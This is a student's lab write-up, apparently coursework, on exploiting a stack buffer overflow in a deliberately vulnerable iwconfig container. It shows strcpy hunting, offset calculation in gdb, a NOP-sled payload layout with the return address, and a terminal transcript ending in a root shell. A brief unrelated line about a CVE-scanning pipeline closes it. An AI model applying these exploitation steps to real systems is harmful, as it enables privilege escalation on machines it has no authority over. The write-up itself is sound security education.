iwconfig is a popular utility for configuring your wireless connection in Linux. It's written in C - thus extremely lightweight - and thus ideal for low-powered devices. Unfortunately, updating some of these devices is pretty time-consuming and sometimes older versions of iwconfig remain in production. Recently, we spotted one of these older versions online - is the container ethan42/iwconfig:vulnerable safe to use?
The objective of this exploit was to identify a stack-based buffer overflow inside the application where a string is copied into a fixed-length buffer withoutbounds checking. By giving an input string that exceeds the buffer's capacity, we can overwrite the saved iinstruction pointer (EIP) on the stack.By hijacking the control flow, we redirect the program to "jump" into a NOP-sled followed by a shellcode i got from the slides that when executed it gives us root access to the system.
My first thought was to look for functions that we discussed in the lecture that are "unsafe" if used improperly, so i used grep to find some in iwconfig.c
- instruction used: $grep -nE 'scanf|strcpy|gets' iwconfig.c This showed me a lot of sscanf's that seemed secure as they used format specifiers (%lg, %li, %i)so they were not wrriting into a character buffer.It also showed 2 strcpy functions that seemed suspicious:
- 70: strcpy(ifr.ifr_name, ifname);
- 885: strcpy(essid, args[i]); /* Size checked, all clear */ -> (probably shouldnt trust that)
So then i inspected the code around the first strpy function( inside get_info): - instruction used: $sed -n "50,90p" iwconfig.c It is clear then that "strcpy(ifr.ifr_name, ifname);" copies the ifname that the user gives into a fixed sized stack buffer without chcking its bounds, which is excatly what we need to be able to overwrite the return address, and redirect execution to our malicious code.
I found the path that leads to that specific part of the code by going backwards (get_info()-> print_info()-> main()- if(argc==2){...}), so the string from argv[1] goes to get_info where it is copied unsafely to the buffer.
So if our theory was correct if we ran something like :
- "user@1e6b19affca3:/workdir$ iwconfig $(python3 -c 'print("A"*1000)')"
we should get a segmentation fault as it would ovewrite the return address to 0x41414141 that has no runnable code, and as we suspected we did get it.
I used gdb to calculate the distance from the start of the buffer to the return address.
- instruction used: disass get_info By looking at the assembly of get_info i looked above the call of strpy@plt and saw the instruction "lea -0x48(%ebp),%eax" which tells me that the buffer for strcpy begins 72 bytes(hex(48)=72) under the base pointer, so for our 32bit system we overwrite the ebp at exactly 72+4=76 bytes. Finally, we can completely overwrite the eip with 76+4=80 bytes of input.
To check my theory inside gdb:
- instructions used:
- break get_info
- run $(python3 -c 'print("A"*76+"B"*4)')
- next
And we got the result that we expected " 0x42424242 in ?? () ", which means we wrote over our eip with our 4 Bs
Now that i have confirmed that the offset is 76bytes i constructed a payload just like we did in class to get root access.
-
To handle environment noise i used a 100 000 bytes NOP-sled to increase my chances of the execution flow landing into our slide and go to our shell code .(as we said in the lectures we dont really care about stealth right now). I actually tried a much smaller NOP-sled first and got a segmentation fault which means that the environment variables and the program's execution path shifted the stack pointer further than i firstly anticipated.
-
To find a reliable address for $eip, i went back in gdb and ran it with the NOP-sled to see in which address it starts
- instruction used: (gdb) run $(python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'BBBB' + b'\x90'*100000)")
- i r esp
- This showed me that the stack pointer was at 0xfffd8760 when the program crashed
- x/100xb $esp
- This confirmed that after 0xfffd8760 we only have no-operations for 100k bytes
- To account for environmental shifts I chose a target address deep within the sled. I selected 0xfffe8014
- This address is approximately 40 KB past the start of the sled observed in GDB (0xfffd8760).
- Even if the stack shifts several thousand bytes when running outside of GDB, 0xfffe8014 will still land safely in the middle of the 100,000-byte NOP-sled, avoiding the padding or the end of the stack.
-
Payload:
- 76 "A"s to fill the buffer and the base pointer
- The return address in little endian [\x14\x80\xfe\xff] - to be written in $eip
- The NOP-sled with 100 000 no-operations
- And the shellcode that i got from the slides of the lesson
-
Execution:
- I then executed the program as seen in the example on the assignment and was granted root access!
theodoroug@theodoroug:~/sem6/cybersecurity/hw0$ docker run --rm --privileged -v `pwd`/exploit.py:/exploit.py -it ethan42/iwconfig:vulnerable bash
ASLR has been disabled for this system. To re-enable it, run:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
user@f9eb520893b5:/workdir$ iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
user@f9eb520893b5:/workdir$ iwconfig AAAA
AAAA No such device
user@f9eb520893b5:/workdir$ python3 /exploit.py > payload
user@f9eb520893b5:/workdir$ whoami
user
user@f9eb520893b5:/workdir$ iwconfig `cat payload`
# whoami
root
# echo cool
cool
#
Built a DevSecOps CI pipeline (GitHub Actions + Docker Scout) to scan container images for known CVEs and produce SBOM/SCA vulnerability reports, on a personal repository. Check: successful_run.txt